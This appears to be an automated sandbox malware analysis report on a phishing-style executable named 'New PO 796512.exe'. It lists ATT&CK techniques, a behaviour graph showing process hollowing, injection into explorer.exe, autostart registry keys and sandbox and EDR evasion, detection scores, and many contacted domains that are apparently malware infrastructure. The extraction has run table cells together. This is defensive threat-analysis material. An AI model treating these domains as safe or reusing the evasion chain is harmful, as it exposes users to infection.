          Encrypted Channel          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain Accounts1
          Command and Scripting Interpreter          		Logon Script (Windows)412
          Process Injection          		1
          Abuse Elevation Control Mechanism          		Security Account Manager341
          Security Software Discovery          		SMB/Windows Admin Shares1
          Credential API Hooking          		2
          Non-Application Layer Protocol          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook11
          Registry Run Keys / Startup Folder          		3
          Obfuscated Files or Information          		NTDS2
          Process Discovery          		Distributed Component Object ModelInput Capture13
          Application Layer Protocol          		Traffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
          Timestomp          		LSA Secrets41
          Virtualization/Sandbox Evasion          		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
          DLL Side-Loading          		Cached Domain Credentials1
          Application Window Discovery          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
          Rootkit          		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job11
          Masquerading          		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
          Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
          Modify Registry          		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
          IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron41
          Virtualization/Sandbox Evasion          		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
          Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd412
          Process Injection          		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1560297 Sample: New PO 796512.exe Startdate: 21/11/2024 Architecture: WINDOWS Score: 100 100 www.uikstudy.sbs 2->100 102 www.pertforces.store 2->102 104 3 other IPs or domains 2->104 108 Found malware configuration 2->108 110 Malicious sample detected (through community Yara rule) 2->110 112 Multi AV Scanner detection for dropped file 2->112 114 9 other signatures 2->114 11 New PO 796512.exe 15 3 2->11         started        signatures3 process4 dnsIp5 106 rn3-sa.com 66.29.153.238, 443, 49699, 49723 ADVANTAGECOMUS United States 11->106 98 C:\Users\user\...98ew PO 796512.exe.log, ASCII 11->98 dropped 15 New PO 796512.exe 11->15         started        18 cmd.exe 1 11->18         started        20 cmd.exe 3 11->20         started        23 Conhost.exe 11->23         started        file6 process7 file8 134 Modifies the context of a thread in another process (thread injection) 15->134 136 Maps a DLL or memory area into another process 15->136 138 Sample uses process hollowing technique 15->138 148 2 other signatures 15->148 25 explorer.exe 59 2 15->25 injected 140 Drops PE files to the document folder of the user 18->140 142 Uses cmd line tools excessively to alter registry or file data 18->142 144 Drops PE files with a suspicious file extension 18->144 146 Tries to detect virtualization through RDTSC time measurements 18->146 27 reg.exe 1 1 18->27         started        30 conhost.exe 18->30         started        82 C:\Users\user\Documents82ew PO 796512.pif, PE32 20->82 dropped 84 C:\...84ew PO 796512.pif:Zone.Identifier, ASCII 20->84 dropped 32 conhost.exe 20->32         started        signatures9 process10 signatures11 34 New PO 796512.pif.pif.pif 25->34         started        36 New PO 796512.pif 3 25->36         started        38 New PO 796512.pif.pif 25->38         started        40 10 other processes 25->40 122 Creates multiple autostart registry keys 27->122 process12 signatures13 43 New PO 796512.pif.pif.pif 34->43         started        54 4 other processes 34->54 46 New PO 796512.pif 36->46         started        57 3 other processes 36->57 48 New PO 796512.pif.pif 38->48         started        59 2 other processes 38->59 116 Modifies the context of a thread in another process (thread injection) 40->116 118 Maps a DLL or memory area into another process 40->118 120 Tries to detect virtualization through RDTSC time measurements 40->120 50 New PO 796512.pif 40->50         started        52 New PO 796512.pif.pif 40->52         started        61 9 other processes 40->61 process14 file15 124 Modifies the context of a thread in another process (thread injection) 46->124 126 Maps a DLL or memory area into another process 46->126 128 Sample uses process hollowing technique 46->128 130 Found direct / indirect Syscall (likely to bypass EDR) 50->130 86 C:\Users\...86ew PO 796512.pif.pif.pif.pif, PE32 54->86 dropped 88 New PO 796512.pif....pif:Zone.Identifier, ASCII 54->88 dropped 63 reg.exe 54->63         started        76 2 other processes 54->76 90 C:\Users\user\...90ew PO 796512.pif.pif, PE32 57->90 dropped 92 C:\...92ew PO 796512.pif.pif:Zone.Identifier, ASCII 57->92 dropped 66 reg.exe 57->66         started        68 conhost.exe 57->68         started        70 conhost.exe 57->70         started        94 C:\Users\user\...94ew PO 796512.pif.pif.pif, PE32 59->94 dropped 96 New PO 796512.pif....pif:Zone.Identifier, ASCII 59->96 dropped 72 reg.exe 59->72         started        78 2 other processes 59->78 132 Uses cmd line tools excessively to alter registry or file data 61->132 74 conhost.exe 61->74         started        80 9 other processes 61->80 signatures16 process17 signatures18 150 Creates multiple autostart registry keys 66->150

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          New PO 796512.exe18%ReversingLabs
          New PO 796512.exe100%Joe Sandbox ML

          Dropped Files

          SourceDetectionScannerLabelLink
          C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif100%Joe Sandbox ML
          C:\Users\user\Documents\New PO 796512.pif.pif100%Joe Sandbox ML
          C:\Users\user\Documents\New PO 796512.pif100%Joe Sandbox ML
          C:\Users\user\Documents\New PO 796512.pif.pif.pif100%Joe Sandbox ML
          C:\Users\user\Documents\New PO 796512.pif18%ReversingLabs
          C:\Users\user\Documents\New PO 796512.pif.pif18%ReversingLabs
          C:\Users\user\Documents\New PO 796512.pif.pif.pif18%ReversingLabs
          C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif18%ReversingLabs

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          http://www.pertforces.store/o62s/www.kipoxz.xyz0%Avira URL Cloudsafe
          http://www.gtg.store0%Avira URL Cloudsafe
          http://www.uikstudy.sbs/o62s/0%Avira URL Cloudsafe
          http://www.ukulbagus10.click0%Avira URL Cloudsafe
          http://www.ukulbagus10.clickReferer:0%Avira URL Cloudsafe
          http://www.ukulbagus10.click/o62s/0%Avira URL Cloudsafe
          http://www.hronika.fun/o62s/www.iveworks.xyz0%Avira URL Cloudsafe
          http://www.uikstudy.sbs0%Avira URL Cloudsafe
          http://www.ottostar.motorcycles0%Avira URL Cloudsafe
          http://www.iveworks.xyzReferer:0%Avira URL Cloudsafe
          http://www.onghi292.topReferer:0%Avira URL Cloudsafe
          http://www.epiyiisigorta.online0%Avira URL Cloudsafe
          http://www.2045.pictures/o62s/0%Avira URL Cloudsafe
          http://www.ottostar.motorcyclesReferer:0%Avira URL Cloudsafe
          http://www.enisehirarnavutkoy.xyzReferer:0%Avira URL Cloudsafe
          http://www.pertforces.store/o62s/0%Avira URL Cloudsafe
          http://www.pertforces.storeReferer:0%Avira URL Cloudsafe
          http://www.2045.pictures/o62s/www.hronika.fun0%Avira URL Cloudsafe
          http://www.hronika.fun0%Avira URL Cloudsafe
          http://www.epiyiisigorta.onlineReferer:0%Avira URL Cloudsafe
          http://www.2045.picturesReferer:0%Avira URL Cloudsafe
          http://www.hronika.funReferer:0%Avira URL Cloudsafe
          http://www.iveworks.xyz0%Avira URL Cloudsafe
          https://rn3-sa.com0%Avira URL Cloudsafe
          http://www.2045.pictures0%Avira URL Cloudsafe
          http://www.kipoxz.xyzReferer:0%Avira URL Cloudsafe
          http://www.itoolz.net/o62s/0%Avira URL Cloudsafe
          http://www.heterraceongregory.store0%Avira URL Cloudsafe
          https://rn3-sa.com/14540%Avira URL Cloudsafe
          http://www.kipoxz.xyz/o62s/0%Avira URL Cloudsafe
          http://www.heterraceongregory.store/o62s/www.onghi292.top0%Avira URL Cloudsafe
          http://www.axiquynhongiare.asiaReferer:0%Avira URL Cloudsafe
          http://www.epiyiisigorta.online/o62s/0%Avira URL Cloudsafe
          http://www.hronika.fun/o62s/0%Avira URL Cloudsafe
          http://www.regnancy-10606.bondReferer:0%Avira URL Cloudsafe
          http://www.kipoxz.xyz0%Avira URL Cloudsafe
          http://www.enisehirarnavutkoy.xyz/o62s/www.regnancy-10606.bond0%Avira URL Cloudsafe
          http://www.ottostar.motorcycles/o62s/www.2045.pictures0%Avira URL Cloudsafe
          http://www.ukulbagus10.click/o62s/www.epiyiisigorta.online0%Avira URL Cloudsafe
          http://www.axiquynhongiare.asia0%Avira URL Cloudsafe
          http://www.onghi292.top/o62s/www.uikstudy.sbs0%Avira URL Cloudsafe
          http://www.iveworks.xyz/o62s/0%Avira URL Cloudsafe
          http://www.enisehirarnavutkoy.xyz/o62s/0%Avira URL Cloudsafe
          http://www.heterraceongregory.store/o62s/0%Avira URL Cloudsafe
          www.hronika.fun/o62s/0%Avira URL Cloudsafe
          http://www.gtg.store/o62s/www.ukulbagus10.click0%Avira URL Cloudsafe
          http://www.ottostar.motorcycles/o62s/0%Avira URL Cloudsafe
          http://www.heterraceongregory.storeReferer:0%Avira URL Cloudsafe
          http://www.axiquynhongiare.asia/o62s/0%Avira URL Cloudsafe
          http://www.iveworks.xyz/o62s/www.enisehirarnavutkoy.xyz0%Avira URL Cloudsafe
          http://www.enisehirarnavutkoy.xyz0%Avira URL Cloudsafe
          http://www.onghi292.top0%Avira URL Cloudsafe
          http://www.itoolz.netReferer:0%Avira URL Cloudsafe
          http://crl.microU0%Avira URL Cloudsafe
          http://www.regnancy-10606.bond0%Avira URL Cloudsafe
          http://www.pertforces.store0%Avira URL Cloudsafe
          http://www.regnancy-10606.bond/o62s/0%Avira URL Cloudsafe
          http://www.regnancy-10606.bond/o62s/www.gtg.store0%Avira URL Cloudsafe
          http://www.gtg.store/o62s/0%Avira URL Cloudsafe
          http://www.uikstudy.sbsReferer:0%Avira URL Cloudsafe
          http://www.gtg.storeReferer:0%Avira URL Cloudsafe
          http://www.onghi292.top/o62s/0%Avira URL Cloudsafe
          http://www.kipoxz.xyz/o62s/www.ottostar.motorcycles0%Avira URL Cloudsafe
          http://www.uikstudy.sbs/o62s/www.pertforces.store0%Avira URL Cloudsafe
          http://www.axiquynhongiare.asia/o62s/www.itoolz.net0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          rn3-sa.com
          		66.29.153.238
          		truefalse
            		unknown
            www.heterraceongregory.store
            		unknown
            		unknowntrue
              		unknown
              www.onghi292.top
              		unknown
              		unknowntrue
                		unknown
                www.uikstudy.sbs
                		unknown
                		unknowntrue
                  		unknown
                  www.pertforces.store
                  		unknown
                  		unknowntrue
                    		unknown

                    Contacted URLs

                    NameMaliciousAntivirus DetectionReputation
                    https://rn3-sa.com/1454false
                    • Avira URL Cloud: safe
                    		unknown
                    www.hronika.fun/o62s/true
                    • Avira URL Cloud: safe
                    		unknown

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    http://www.gtg.storeexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.uikstudy.sbsexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.ukulbagus10.clickexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://api.msn.com:443/v1/news/Feed/Windows?texplorer.exe, 0000000E.00000000.1365843735.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2539562408.0000000007276000.00000004.00000001.00020000.00000000.sdmpfalse
                      		high
                      https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DVexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                        		high
                        https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-worldexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                          		high
                          https://api.msn.com:443/v1/news/Feed/Windows?explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                            		high
                            https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winterexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                              		high
                              http://www.uikstudy.sbs/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.ukulbagus10.click/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.pertforces.store/o62s/www.kipoxz.xyzexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              https://excel.office.comexplorer.exe, 0000000E.00000002.2550459613.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1380787354.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                		high
                                https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-explorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                  		high
                                  http://www.iveworks.xyzReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.hronika.fun/o62s/www.iveworks.xyzexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.ottostar.motorcyclesexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.ukulbagus10.clickReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.onghi292.topReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.ottostar.motorcyclesReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.pertforces.store/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.epiyiisigorta.onlineReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.2045.pictures/o62s/www.hronika.funexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.enisehirarnavutkoy.xyzReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.hronika.funexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&ocexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                    		high
                                    http://www.epiyiisigorta.onlineexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://wns.windows.com/explorer.exe, 0000000E.00000003.2272318925.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2544994555.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1368450801.00000000090F2000.00000004.00000001.00020000.00000000.sdmpfalse
                                      		high
                                      http://www.2045.pictures/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://www.pertforces.storeReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameNew PO 796512.exe, 00000001.00000002.1363353945.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif, 00000014.00000002.1547657978.0000000003121000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif, 0000001C.00000002.1633783698.00000000026BB000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif, 00000025.00000002.1704408272.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif, 0000002E.00000002.1847859755.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif.pif, 00000036.00000002.1937703257.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif.pif, 00000043.00000002.2018258086.0000000002F2B000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://www.itoolz.net/o62s/explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.heterraceongregory.storeexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.autoitscript.com/autoit3/Jexplorer.exe, 0000000E.00000003.2271138163.000000000C44D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1380787354.000000000C3F7000.00000004.00000001.00020000.00000000.sdmpfalse
                                          		high
                                          https://word.office.comexplorer.exe, 0000000E.00000002.2550459613.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1380787354.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                            		high
                                            http://www.iveworks.xyzexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.kipoxz.xyzReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earningsexplorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                              		high
                                              http://www.kipoxz.xyz/o62s/explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-darkexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                		high
                                                http://www.hronika.funReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 0000000E.00000002.2539562408.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1365843735.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://www.2045.picturesexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://outlook.comexplorer.exe, 0000000E.00000002.2550459613.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1380787354.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://www.2045.picturesReferer:explorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    https://rn3-sa.comNew PO 796512.exe, 00000001.00000002.1363353945.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif, 00000014.00000002.1547657978.0000000003121000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif, 0000001C.00000002.1633783698.00000000026BB000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif, 00000025.00000002.1704408272.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif, 0000002E.00000002.1847859755.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif.pif, 00000036.00000002.1937703257.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, New PO 796512.pif.pif.pif, 00000043.00000002.2018258086.0000000002F2B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://www.heterraceongregory.store/o62s/www.onghi292.topexplorer.exe, 0000000E.00000002.2552317277.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271077643.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2270953786.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
